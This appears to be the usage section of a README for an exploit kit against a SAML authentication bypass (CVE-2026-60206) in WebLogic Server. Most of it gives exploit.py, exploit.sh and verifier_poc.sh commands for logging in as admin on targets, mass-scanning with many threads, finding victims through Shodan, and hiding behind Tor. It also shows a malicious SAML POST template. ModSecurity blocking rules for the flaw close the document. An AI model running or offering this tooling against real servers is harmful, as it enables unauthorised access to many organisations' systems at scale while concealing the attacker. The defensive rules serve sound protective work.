# Python 版本
pip install requests urllib3

# 可选：Shodan 支持
pip install shodan

# Bash 版本：仅需 curl（无额外依赖）

# 单个目标利用（combo 模式）
python exploit.py -u https://192.168.1.100:7002 --exploit --user admin

# 使用所有攻击向量进行利用
python exploit.py -u https://192.168.1.100:7002 --mode all --exploit -v

# 从文件批量扫描（50 线程）
python exploit.py -l targets.txt --exploit -t 50 -o results.json

# 仅安全检测（非侵入式）
python exploit.py -l targets.txt --detect -o scan_results.csv

# Shodan 集成
export SHODAN_API_KEY="your_api_key"
python exploit.py --shodan --shodan-query "WebLogic Server port:7002" --exploit

# Tor 匿名扫描
python exploit.py -l targets.txt --exploit --tor -t 20

# 代理支持
python exploit.py -u https://192.168.1.100:7002 --exploit --proxy http://127.0.0.1:8080

# 流式 JSONL 输出（大扫描内存高效）
python exploit.py -l targets.txt --exploit -o results.jsonl

# 静默模式（最少输出）
python exploit.py -l targets.txt --exploit -q -o results.json

# 自定义超时和重试
python exploit.py -u https://192.168.1.100:7002 --exploit --timeout 20 --retry 5 --delay 2.0

# SSL 验证绕过
python exploit.py -u https://192.168.1.100:7002 --exploit --no-verify

# 详细调试
python exploit.py -u https://192.168.1.100:7002 --exploit -v

# 单个目标利用
./exploit.sh -u https://192.168.1.100:7002 --exploit --user admin

# 批量扫描
./exploit.sh -l targets.txt --mode all --exploit -o results.json

# Tor 匿名扫描
./exploit.sh -l targets.txt --exploit --tor -t 20

# Shodan 集成
export SHODAN_API_KEY="your_api_key"
./exploit.sh --shodan --exploit -o shodan_results.json

# 流式 JSONL 输出
./exploit.sh -l targets.txt --exploit -o results.jsonl

# 代理支持
./exploit.sh -u https://192.168.1.100:7002 --exploit --proxy http://127.0.0.1:8080

# SSL 验证绕过
./exploit.sh -u https://192.168.1.100:7002 --exploit --no-verify

# 静默模式
./exploit.sh -l targets.txt --exploit -q -o results.json

# 详细调试
./exploit.sh -u https://192.168.1.100:7002 --exploit -v

# 单个目标验证
./verifier_poc.sh -u https://192.168.1.100:7002 --user admin

# 批量验证并生成报告
./verifier_poc.sh -l targets.txt --user admin -o report.txt

# SSL 验证绕过
./verifier_poc.sh -u https://192.168.1.100:7002 --no-verify

# 代理支持
./verifier_poc.sh -u https://192.168.1.100:7002 --proxy http://127.0.0.1:8080

POST /saml2/sp/acs HTTP/1.1
Host: target:7002
Content-Type: application/x-www-form-urlencoded

SAMLResponse=<base64_encoded_malicious_assertion>&RelayState=/

# 阻止包含多个断言的 SAML 请求
SecRule REQUEST_URI "/saml2/sp/acs|/saml2/acs" \
    "id:10001,phase:1,deny,status:403,\
    msg:'CVE-2026-60206 - Multiple SAML Assertions',\
    chain"
    SecRule ARGS:SAMLResponse ".*<saml2:Assertion>.*<saml2:Assertion>.*"

# 阻止 NameID 中包含注释的 SAML 请求
SecRule REQUEST_URI "/saml2/sp/acs|/saml2/acs" \
    "id:10002,phase:1,deny,status:403,\
    msg:'CVE-2026-60206 - NameID Comments',\
    chain"
    SecRule ARGS:SAMLResponse ".*<saml2:NameID.*<!--.*-->.*"

# 阻止无签名的 SAML 断言
SecRule REQUEST_URI "/saml2/sp/acs|/saml2/acs" \
    "id:10003,phase:1,deny,status:403,\
    msg:'CVE-2026-60206 - Unsigned Assertion',\
    chain"
    SecRule ARGS:SAMLResponse ".*<saml2:Assertion>.*(?!<ds:Signature>).*"